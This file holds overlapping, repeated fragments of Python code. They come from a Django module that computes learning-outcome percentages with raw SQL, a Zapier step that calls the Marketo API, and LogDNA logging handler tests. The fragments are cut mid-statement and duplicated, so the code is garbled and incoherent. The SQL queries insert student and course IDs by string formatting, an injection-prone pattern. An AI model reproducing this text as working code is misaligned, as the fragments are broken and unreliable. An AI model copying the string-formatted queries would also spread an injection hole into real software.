a.co_id=co.coID and co.plo_id = p.ploID and p.ploNum =", "/ k[3], 2)) elif category == 'chart': temptable.append(np.round(100 * k[2] / k[4], 2))", "getstudentprogramwisePLO(studentID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as plopercent FROM", "co, app_plo_t p, app_section_t s, accounts_user u, app_employee_t emp WHERE r.registrationID = e.registration_id", "row = cursor.fetchall() plonum = [] courses = [] counts = [] for", "= ''; for plo in plos: ploo += '\"' ploo += plo ploo", "e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.program_id = prog.programID", "= '{}' and a.section_id = s.sectionID and s.semester IN ({}) )f GROUP BY", "in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) semester = list(set(semester)) plonum = list(set(plonum)) failed_per", "= a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and r.student_id = '{}' and", "a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.ploNum = derived.ploNum GROUP BY", "temptable.append(0) table.append(temptable) return plo, courses, table def getfacultycoursewisePLO(courseID, semesters): sem = ''; for", "courses, table def getfacultycoursewisePLO(courseID, semesters): sem = ''; for semester in semesters: sem", "plonum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co,", "[] for record in row1: faculty.append(record[0]+' '+record[1]) plonum.append(record[2]) plos1.append(record[3]) for record in row2:", "'''.format(program, sem)) row1 = cursor.fetchall() with connection.cursor() as cursor: cursor.execute(''' SELECT COUNT(*) FROM", "SELECT f.course_id, f.ploNum, COUNT(*) FROM ( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as percentage FROM", "row: if j == k[0] and i == k[1]: if category == 'report':", "2)) found = True if not found: if category == 'report': temptable.append('N/A') elif", "s.sectionID and s.semester IN ({}) )f WHERE f.percentage>=40 GROUP BY f.plonum; '''.format(program, sem))", "IN ({}) )f WHERE f.percentage >= 40 GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem))", "BY p.ploID,co.course_id '''.format(studentID)) row = cursor.fetchall() table = [] courses = [] for", "= [] acheived = [] all_cnt = [] for record in row1: courses.append(record[0])", "co, app_plo_t p WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID", "connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum, avg(100*e.obtainedMarks/a.totalMarks) FROM app_registration_t r, app_assessment_t", "u.first_name, u.last_name, p.ploNum as plonum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a,", "return semester, plonum, acheived, failed def getplowisecoursecomparism(plos, semesters): sem = ''; for semester", "( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t", "getplowisecoursecomparism(plos, semesters): sem = ''; for semester in semesters: sem += '\"' sem", "s, app_program_t pr WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID", "'\"' ploo += plo ploo += '\",' ploo = ploo[:-1] with connection.cursor() as", "acheived_per acheived_per = np.split(acheived_per, len(acheived_per)/len(semester)) failed_per = np.split(failed_per, len(failed_per)/len(semester)) acheived=[] for plo in", "COUNT(*) as all_cnt FROM ( SELECT s.semester, p.ploNum as plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks as", "co.course_id )f GROUP BY f.semester, f.plonum; '''.format(sem, courseID)) row2 = cursor.fetchall() semester =", "[] plos1 = [] plos2 = [] for record in row1: faculty.append(record[0]+' '+record[1])", "and s.course_id ='{}' and s.faculty_id = emp.employeeID and emp.user_ptr_id = u.id )f GROUP", "record in row1: semester.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in row2: all_cnt.append(record[0]) acheived_per =", "acheived.append(plo.tolist()) return courses, plonum, acheived def getprogramsemesterwiseplocount(program, semesters): sem = ''; for semester", "app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s WHERE", "f.percentage>=40 GROUP BY f.plonum; '''.format(program, sem)) row1 = cursor.fetchall() with connection.cursor() as cursor:", "cursor.fetchall() cursor.execute(''' SELECT COUNT(*) as all_cnt FROM ( SELECT s.semester, p.ploNum as plonum,", "e, app_co_t co, app_plo_t p, app_section_t s WHERE r.registrationID = e.registration_id and e.assessment_id", "with connection.cursor() as cursor: cursor.execute( ''' SELECT distinct s.course_id FROM app_registration_t r, app_evaluation_t", "plonum.sort() plonum.sort(key=len, reverse=False) plos = np.array(plos) plos = np.split(plos, len(plos)/len(plonum)) new_plo=[] for plo", "cursor.fetchall() table = [] courses = [] for entry in row: if entry[1]", "plos = np.split(plos, len(plos)/len(plonum)) new_plo=[] for plo in plos: new_plo.append(plo.tolist()) return faculty, plonum,", "'{}' ) and s.semester IN ({}) and s.course_id ='{}' and s.faculty_id = emp.employeeID", "reverse=False) plos = np.array(plos) plos = np.split(plos, len(plos)/len(plonum)) new_plo=[] for plo in plos:" ]
[ "} response = requests.request(\"GET\", url, headers=headers, data = payload) raw=response.text eid = re.search('{\"id\":(\\d*),',response.text).group(1)", "{} headers = { 'Authorization': 'Bearer ' + input['token'] } response = requests.request(\"GET\",", "= 'https://###-xxx-###.mktorest.com/rest/asset/v1/emails.json?folder={\\\"id\\\":'+pid+',\\\"type\\\":\\\"Program\\\"}' payload = {} headers = { 'Authorization': 'Bearer ' + input['token']", "'Content Type' #from Step 1: Get Submission from Google Form } import requests", "Latest Marketo Program 'c_type': 'Content Type' #from Step 1: Get Submission from Google", "response = requests.request(\"GET\", url, headers=headers, data = payload) raw=response.text eid = re.search('{\"id\":(\\d*),',response.text).group(1) return", "re if (input['c_type'] != 'Fact Sheet' and input['c_type'] != 'Infographic'): pid = input['pid']", "payload = {} headers = { 'Authorization': 'Bearer ' + input['token'] } response", "'Pid' #from Step 9: Clone Latest Marketo Program 'c_type': 'Content Type' #from Step", "1: Get Submission from Google Form } import requests import datetime import re", "!= 'Fact Sheet' and input['c_type'] != 'Infographic'): pid = input['pid'] #https://developers.marketo.com/rest-api/assets/emails/#browse url =", "Submission from Google Form } import requests import datetime import re if (input['c_type']", "Get Marketo Access Token 'pid': 'Pid' #from Step 9: Clone Latest Marketo Program", "input['pid'] #https://developers.marketo.com/rest-api/assets/emails/#browse url = 'https://###-xxx-###.mktorest.com/rest/asset/v1/emails.json?folder={\\\"id\\\":'+pid+',\\\"type\\\":\\\"Program\\\"}' payload = {} headers = { 'Authorization': 'Bearer", "Zapier Step 12: Get Marketo Email ID input={ 'token': 'Token' #from Step 3:", "import re if (input['c_type'] != 'Fact Sheet' and input['c_type'] != 'Infographic'): pid =", "!= 'Infographic'): pid = input['pid'] #https://developers.marketo.com/rest-api/assets/emails/#browse url = 'https://###-xxx-###.mktorest.com/rest/asset/v1/emails.json?folder={\\\"id\\\":'+pid+',\\\"type\\\":\\\"Program\\\"}' payload = {} headers", "url = 'https://###-xxx-###.mktorest.com/rest/asset/v1/emails.json?folder={\\\"id\\\":'+pid+',\\\"type\\\":\\\"Program\\\"}' payload = {} headers = { 'Authorization': 'Bearer ' +", "Program 'c_type': 'Content Type' #from Step 1: Get Submission from Google Form }", "variables to Zapier Step 12: Get Marketo Email ID input={ 'token': 'Token' #from", "Marketo Email ID input={ 'token': 'Token' #from Step 3: Get Marketo Access Token", "= input['pid'] #https://developers.marketo.com/rest-api/assets/emails/#browse url = 'https://###-xxx-###.mktorest.com/rest/asset/v1/emails.json?folder={\\\"id\\\":'+pid+',\\\"type\\\":\\\"Program\\\"}' payload = {} headers = { 'Authorization':", "input['token'] } response = requests.request(\"GET\", url, headers=headers, data = payload) raw=response.text eid =", "{ 'Authorization': 'Bearer ' + input['token'] } response = requests.request(\"GET\", url, headers=headers, data", "requests import datetime import re if (input['c_type'] != 'Fact Sheet' and input['c_type'] !=", "'https://###-xxx-###.mktorest.com/rest/asset/v1/emails.json?folder={\\\"id\\\":'+pid+',\\\"type\\\":\\\"Program\\\"}' payload = {} headers = { 'Authorization': 'Bearer ' + input['token'] }", "Get Marketo Email ID input={ 'token': 'Token' #from Step 3: Get Marketo Access", "Sheet' and input['c_type'] != 'Infographic'): pid = input['pid'] #https://developers.marketo.com/rest-api/assets/emails/#browse url = 'https://###-xxx-###.mktorest.com/rest/asset/v1/emails.json?folder={\\\"id\\\":'+pid+',\\\"type\\\":\\\"Program\\\"}' payload", "Clone Latest Marketo Program 'c_type': 'Content Type' #from Step 1: Get Submission from", "Form } import requests import datetime import re if (input['c_type'] != 'Fact Sheet'", "import requests import datetime import re if (input['c_type'] != 'Fact Sheet' and input['c_type']", "to Zapier Step 12: Get Marketo Email ID input={ 'token': 'Token' #from Step", "Email ID input={ 'token': 'Token' #from Step 3: Get Marketo Access Token 'pid':", "'Authorization': 'Bearer ' + input['token'] } response = requests.request(\"GET\", url, headers=headers, data =", "#input variables to Zapier Step 12: Get Marketo Email ID input={ 'token': 'Token'", "Step 9: Clone Latest Marketo Program 'c_type': 'Content Type' #from Step 1: Get", "'Token' #from Step 3: Get Marketo Access Token 'pid': 'Pid' #from Step 9:", "#https://developers.marketo.com/rest-api/assets/emails/#browse url = 'https://###-xxx-###.mktorest.com/rest/asset/v1/emails.json?folder={\\\"id\\\":'+pid+',\\\"type\\\":\\\"Program\\\"}' payload = {} headers = { 'Authorization': 'Bearer '", "headers = { 'Authorization': 'Bearer ' + input['token'] } response = requests.request(\"GET\", url,", "3: Get Marketo Access Token 'pid': 'Pid' #from Step 9: Clone Latest Marketo", "Access Token 'pid': 'Pid' #from Step 9: Clone Latest Marketo Program 'c_type': 'Content", "'Bearer ' + input['token'] } response = requests.request(\"GET\", url, headers=headers, data = payload)", "Step 3: Get Marketo Access Token 'pid': 'Pid' #from Step 9: Clone Latest", "} import requests import datetime import re if (input['c_type'] != 'Fact Sheet' and", "= {} headers = { 'Authorization': 'Bearer ' + input['token'] } response =", "'c_type': 'Content Type' #from Step 1: Get Submission from Google Form } import", "(input['c_type'] != 'Fact Sheet' and input['c_type'] != 'Infographic'): pid = input['pid'] #https://developers.marketo.com/rest-api/assets/emails/#browse url", "from Google Form } import requests import datetime import re if (input['c_type'] !=", "= requests.request(\"GET\", url, headers=headers, data = payload) raw=response.text eid = re.search('{\"id\":(\\d*),',response.text).group(1) return {'email_id':", "9: Clone Latest Marketo Program 'c_type': 'Content Type' #from Step 1: Get Submission", "+ input['token'] } response = requests.request(\"GET\", url, headers=headers, data = payload) raw=response.text eid", "if (input['c_type'] != 'Fact Sheet' and input['c_type'] != 'Infographic'): pid = input['pid'] #https://developers.marketo.com/rest-api/assets/emails/#browse", "Marketo Access Token 'pid': 'Pid' #from Step 9: Clone Latest Marketo Program 'c_type':", "input['c_type'] != 'Infographic'): pid = input['pid'] #https://developers.marketo.com/rest-api/assets/emails/#browse url = 'https://###-xxx-###.mktorest.com/rest/asset/v1/emails.json?folder={\\\"id\\\":'+pid+',\\\"type\\\":\\\"Program\\\"}' payload = {}", "import datetime import re if (input['c_type'] != 'Fact Sheet' and input['c_type'] != 'Infographic'):", "' + input['token'] } response = requests.request(\"GET\", url, headers=headers, data = payload) raw=response.text", "Type' #from Step 1: Get Submission from Google Form } import requests import", "Step 1: Get Submission from Google Form } import requests import datetime import", "'Fact Sheet' and input['c_type'] != 'Infographic'): pid = input['pid'] #https://developers.marketo.com/rest-api/assets/emails/#browse url = 'https://###-xxx-###.mktorest.com/rest/asset/v1/emails.json?folder={\\\"id\\\":'+pid+',\\\"type\\\":\\\"Program\\\"}'", "12: Get Marketo Email ID input={ 'token': 'Token' #from Step 3: Get Marketo", "pid = input['pid'] #https://developers.marketo.com/rest-api/assets/emails/#browse url = 'https://###-xxx-###.mktorest.com/rest/asset/v1/emails.json?folder={\\\"id\\\":'+pid+',\\\"type\\\":\\\"Program\\\"}' payload = {} headers = {", "and input['c_type'] != 'Infographic'): pid = input['pid'] #https://developers.marketo.com/rest-api/assets/emails/#browse url = 'https://###-xxx-###.mktorest.com/rest/asset/v1/emails.json?folder={\\\"id\\\":'+pid+',\\\"type\\\":\\\"Program\\\"}' payload =", "Step 12: Get Marketo Email ID input={ 'token': 'Token' #from Step 3: Get", "'pid': 'Pid' #from Step 9: Clone Latest Marketo Program 'c_type': 'Content Type' #from", "#from Step 9: Clone Latest Marketo Program 'c_type': 'Content Type' #from Step 1:", "Token 'pid': 'Pid' #from Step 9: Clone Latest Marketo Program 'c_type': 'Content Type'", "'token': 'Token' #from Step 3: Get Marketo Access Token 'pid': 'Pid' #from Step", "Google Form } import requests import datetime import re if (input['c_type'] != 'Fact", "'Infographic'): pid = input['pid'] #https://developers.marketo.com/rest-api/assets/emails/#browse url = 'https://###-xxx-###.mktorest.com/rest/asset/v1/emails.json?folder={\\\"id\\\":'+pid+',\\\"type\\\":\\\"Program\\\"}' payload = {} headers =", "requests.request(\"GET\", url, headers=headers, data = payload) raw=response.text eid = re.search('{\"id\":(\\d*),',response.text).group(1) return {'email_id': eid}", "#from Step 1: Get Submission from Google Form } import requests import datetime", "datetime import re if (input['c_type'] != 'Fact Sheet' and input['c_type'] != 'Infographic'): pid", "Get Submission from Google Form } import requests import datetime import re if", "#from Step 3: Get Marketo Access Token 'pid': 'Pid' #from Step 9: Clone", "Marketo Program 'c_type': 'Content Type' #from Step 1: Get Submission from Google Form", "= { 'Authorization': 'Bearer ' + input['token'] } response = requests.request(\"GET\", url, headers=headers,", "ID input={ 'token': 'Token' #from Step 3: Get Marketo Access Token 'pid': 'Pid'", "input={ 'token': 'Token' #from Step 3: Get Marketo Access Token 'pid': 'Pid' #from" ]
[ "handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"when buffer grows bigger than we", "options) logger.addHandler(handler) line = \"second test. server fails\" server_thread = start_server(port, FailedRequestHandler) logdna_thread", "LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"second test. server fails\" server_thread = start_server(port, FailedRequestHandler)", "[] class SuccessfulRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) body = self.rfile.read(content_length) self.send_response(200) self.end_headers()", "'mac': 'C0:FF:EE:C0:FF:EE' } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"python python python\"", "start_server from .mock.log import logger, info, LOGDNA_API_KEY expectedLines = [] class SuccessfulRequestHandler(BaseHTTPRequestHandler): def", "def messages_preserved_if_excp(self): port = get_port() options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip':", "buffer grows bigger than we want\" lineTwo = \"when buffer grows bigger than", "= info(line, lineTwo) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) self.assertNotEqual(handler.buf[0]['line'], lineTwo) logger.removeHandler(handler) def test_run_tests(self): self.server_recieves_messages()", "int(self.headers['Content-Length']) body = self.rfile.read(content_length) self.send_response(200) self.end_headers() body = json.loads(body)['ls'] for keys in body:", "'mac': 'C0:FF:EE:C0:FF:EE', 'buf_retention_limit': 50, 'equest_timeout': 10, 'flush_interval': 1, 'retry_interval_secs': 1 } handler =", "= start_server(port, FailedRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) logger.removeHandler(handler) def stops_retention_when_buf_is_full(self):", "\"python python python\" server_thread = start_server(port, SuccessfulRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(expectedLines),", "options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE', 'buf_retention_limit': 50,", "'equest_timeout': 10, 'flush_interval': 1, 'retry_interval_secs': 1 } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line", "start_server(port, FailedRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) logger.removeHandler(handler) def stops_retention_when_buf_is_full(self): port", "'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE' } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"python", "= info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(expectedLines), 1) self.assertIn(line, expectedLines) logger.removeHandler(handler) def messages_preserved_if_excp(self): port =", "1) self.assertNotEqual(handler.buf[0]['line'], lineTwo) logger.removeHandler(handler) def test_run_tests(self): self.server_recieves_messages() self.messages_preserved_if_excp() self.stops_retention_when_buf_is_full() if __name__ == '__main__':", "import get_port, start_server from .mock.log import logger, info, LOGDNA_API_KEY expectedLines = [] class", "line = \"python python python\" server_thread = start_server(port, SuccessfulRequestHandler) logdna_thread = info(line) server_thread.join()", "'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE', 'buf_retention_limit': 50, 'equest_timeout': 10, 'flush_interval':", "} handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"python python python\" server_thread =", "self.assertIn(line, expectedLines) logger.removeHandler(handler) def messages_preserved_if_excp(self): port = get_port() options = { 'hostname': 'localhost',", "info, LOGDNA_API_KEY expectedLines = [] class SuccessfulRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) body", "= LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"second test. server fails\" server_thread = start_server(port,", "= \"when buffer grows bigger than we want\" lineTwo = \"when buffer grows", "self.end_headers() class LogDNAHandlerTest(unittest.TestCase): def server_recieves_messages(self): port = get_port() options = { 'hostname': 'localhost',", "1) self.assertIn(line, expectedLines) logger.removeHandler(handler) def messages_preserved_if_excp(self): port = get_port() options = { 'hostname':", "self.assertEqual(len(expectedLines), 1) self.assertIn(line, expectedLines) logger.removeHandler(handler) def messages_preserved_if_excp(self): port = get_port() options = {", "logger, info, LOGDNA_API_KEY expectedLines = [] class SuccessfulRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length'])", "info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(expectedLines), 1) self.assertIn(line, expectedLines) logger.removeHandler(handler) def messages_preserved_if_excp(self): port = get_port()", "'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE', 'buf_retention_limit': 50, 'equest_timeout': 10, 'flush_interval': 1, 'retry_interval_secs': 1", "info(line, lineTwo) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) self.assertNotEqual(handler.buf[0]['line'], lineTwo) logger.removeHandler(handler) def test_run_tests(self): self.server_recieves_messages() self.messages_preserved_if_excp()", "from logdna import LogDNAHandler from .mock.server import get_port, start_server from .mock.log import logger,", "want\" lineTwo = \"when buffer grows bigger than we want. And more and", "1) logger.removeHandler(handler) def stops_retention_when_buf_is_full(self): port = get_port() options = { 'hostname': 'localhost', 'url':", "start_server(port, FailedRequestHandler) logdna_thread = info(line, lineTwo) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) self.assertNotEqual(handler.buf[0]['line'], lineTwo) logger.removeHandler(handler)", "import logger, info, LOGDNA_API_KEY expectedLines = [] class SuccessfulRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length =", "we want\" lineTwo = \"when buffer grows bigger than we want. And more", "self.send_response(400) self.end_headers() class LogDNAHandlerTest(unittest.TestCase): def server_recieves_messages(self): port = get_port() options = { 'hostname':", "http.server import BaseHTTPRequestHandler from logdna import LogDNAHandler from .mock.server import get_port, start_server from", "logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(expectedLines), 1) self.assertIn(line, expectedLines) logger.removeHandler(handler) def messages_preserved_if_excp(self): port", "logger.removeHandler(handler) def messages_preserved_if_excp(self): port = get_port() options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port),", "server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) logger.removeHandler(handler) def stops_retention_when_buf_is_full(self): port = get_port() options = {", "port = get_port() options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac':", "= get_port() options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE',", "self.rfile.read(content_length) self.send_response(400) self.end_headers() class LogDNAHandlerTest(unittest.TestCase): def server_recieves_messages(self): port = get_port() options = {", "keys in body: expectedLines.append(keys['line']) class FailedRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) self.rfile.read(content_length) self.send_response(400)", "'mac': 'C0:FF:EE:C0:FF:EE' } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"second test. server", "import unittest from http.server import BaseHTTPRequestHandler from logdna import LogDNAHandler from .mock.server import", "\"second test. server fails\" server_thread = start_server(port, FailedRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join()", "line = \"second test. server fails\" server_thread = start_server(port, FailedRequestHandler) logdna_thread = info(line)", "logdna import LogDNAHandler from .mock.server import get_port, start_server from .mock.log import logger, info,", "FailedRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) logger.removeHandler(handler) def stops_retention_when_buf_is_full(self): port =", "= \"python python python\" server_thread = start_server(port, SuccessfulRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join()", "def do_POST(self): content_length = int(self.headers['Content-Length']) self.rfile.read(content_length) self.send_response(400) self.end_headers() class LogDNAHandlerTest(unittest.TestCase): def server_recieves_messages(self): port", "logger.addHandler(handler) line = \"python python python\" server_thread = start_server(port, SuccessfulRequestHandler) logdna_thread = info(line)", ".mock.log import logger, info, LOGDNA_API_KEY expectedLines = [] class SuccessfulRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length", "50, 'equest_timeout': 10, 'flush_interval': 1, 'retry_interval_secs': 1 } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler)", "'retry_interval_secs': 1 } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"when buffer grows", "than we want. And more and more\" server_thread = start_server(port, FailedRequestHandler) logdna_thread =", "stops_retention_when_buf_is_full(self): port = get_port() options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1',", "= start_server(port, FailedRequestHandler) logdna_thread = info(line, lineTwo) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) self.assertNotEqual(handler.buf[0]['line'], lineTwo)", "'buf_retention_limit': 50, 'equest_timeout': 10, 'flush_interval': 1, 'retry_interval_secs': 1 } handler = LogDNAHandler(LOGDNA_API_KEY, options)", "= [] class SuccessfulRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) body = self.rfile.read(content_length) self.send_response(200)", "= \"second test. server fails\" server_thread = start_server(port, FailedRequestHandler) logdna_thread = info(line) server_thread.join()", "buffer grows bigger than we want. And more and more\" server_thread = start_server(port,", "1, 'retry_interval_secs': 1 } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"when buffer", "def server_recieves_messages(self): port = get_port() options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip':", "LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"when buffer grows bigger than we want\" lineTwo", "= info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) logger.removeHandler(handler) def stops_retention_when_buf_is_full(self): port = get_port() options", "'10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE' } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"second test.", "1 } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"when buffer grows bigger", "server_thread = start_server(port, SuccessfulRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(expectedLines), 1) self.assertIn(line, expectedLines)", "server_thread = start_server(port, FailedRequestHandler) logdna_thread = info(line, lineTwo) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) self.assertNotEqual(handler.buf[0]['line'],", "'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE', 'buf_retention_limit': 50, 'equest_timeout': 10, 'flush_interval': 1, 'retry_interval_secs':", "server_thread.join() logdna_thread.join() self.assertEqual(len(expectedLines), 1) self.assertIn(line, expectedLines) logger.removeHandler(handler) def messages_preserved_if_excp(self): port = get_port() options", "server_thread = start_server(port, FailedRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) logger.removeHandler(handler) def", "self.rfile.read(content_length) self.send_response(200) self.end_headers() body = json.loads(body)['ls'] for keys in body: expectedLines.append(keys['line']) class FailedRequestHandler(BaseHTTPRequestHandler):", "python python\" server_thread = start_server(port, SuccessfulRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(expectedLines), 1)", "grows bigger than we want. And more and more\" server_thread = start_server(port, FailedRequestHandler)", "line = \"when buffer grows bigger than we want\" lineTwo = \"when buffer", "LogDNAHandler from .mock.server import get_port, start_server from .mock.log import logger, info, LOGDNA_API_KEY expectedLines", "'C0:FF:EE:C0:FF:EE' } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"python python python\" server_thread", "import BaseHTTPRequestHandler from logdna import LogDNAHandler from .mock.server import get_port, start_server from .mock.log", "And more and more\" server_thread = start_server(port, FailedRequestHandler) logdna_thread = info(line, lineTwo) server_thread.join()", "} handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"when buffer grows bigger than", "json import unittest from http.server import BaseHTTPRequestHandler from logdna import LogDNAHandler from .mock.server", "do_POST(self): content_length = int(self.headers['Content-Length']) body = self.rfile.read(content_length) self.send_response(200) self.end_headers() body = json.loads(body)['ls'] for", "self.assertEqual(len(handler.buf), 1) self.assertNotEqual(handler.buf[0]['line'], lineTwo) logger.removeHandler(handler) def test_run_tests(self): self.server_recieves_messages() self.messages_preserved_if_excp() self.stops_retention_when_buf_is_full() if __name__ ==", "'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE', 'buf_retention_limit': 50, 'equest_timeout': 10, 'flush_interval': 1,", "for keys in body: expectedLines.append(keys['line']) class FailedRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) self.rfile.read(content_length)", "= LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"python python python\" server_thread = start_server(port, SuccessfulRequestHandler)", "logdna_thread.join() self.assertEqual(len(handler.buf), 1) self.assertNotEqual(handler.buf[0]['line'], lineTwo) logger.removeHandler(handler) def test_run_tests(self): self.server_recieves_messages() self.messages_preserved_if_excp() self.stops_retention_when_buf_is_full() if __name__", "self.send_response(200) self.end_headers() body = json.loads(body)['ls'] for keys in body: expectedLines.append(keys['line']) class FailedRequestHandler(BaseHTTPRequestHandler): def", "LOGDNA_API_KEY expectedLines = [] class SuccessfulRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) body =", "fails\" server_thread = start_server(port, FailedRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) logger.removeHandler(handler)", "json.loads(body)['ls'] for keys in body: expectedLines.append(keys['line']) class FailedRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length'])", "LogDNAHandlerTest(unittest.TestCase): def server_recieves_messages(self): port = get_port() options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port),", "<filename>tests/test_logger.py import json import unittest from http.server import BaseHTTPRequestHandler from logdna import LogDNAHandler", "self.assertEqual(len(handler.buf), 1) logger.removeHandler(handler) def stops_retention_when_buf_is_full(self): port = get_port() options = { 'hostname': 'localhost',", "get_port, start_server from .mock.log import logger, info, LOGDNA_API_KEY expectedLines = [] class SuccessfulRequestHandler(BaseHTTPRequestHandler):", "import LogDNAHandler from .mock.server import get_port, start_server from .mock.log import logger, info, LOGDNA_API_KEY", "info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) logger.removeHandler(handler) def stops_retention_when_buf_is_full(self): port = get_port() options =", "self.end_headers() body = json.loads(body)['ls'] for keys in body: expectedLines.append(keys['line']) class FailedRequestHandler(BaseHTTPRequestHandler): def do_POST(self):", "get_port() options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE' }", "= LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"when buffer grows bigger than we want\"", "self.assertNotEqual(handler.buf[0]['line'], lineTwo) logger.removeHandler(handler) def test_run_tests(self): self.server_recieves_messages() self.messages_preserved_if_excp() self.stops_retention_when_buf_is_full() if __name__ == '__main__': unittest.main()", "content_length = int(self.headers['Content-Length']) self.rfile.read(content_length) self.send_response(400) self.end_headers() class LogDNAHandlerTest(unittest.TestCase): def server_recieves_messages(self): port = get_port()", "SuccessfulRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(expectedLines), 1) self.assertIn(line, expectedLines) logger.removeHandler(handler) def messages_preserved_if_excp(self):", "content_length = int(self.headers['Content-Length']) body = self.rfile.read(content_length) self.send_response(200) 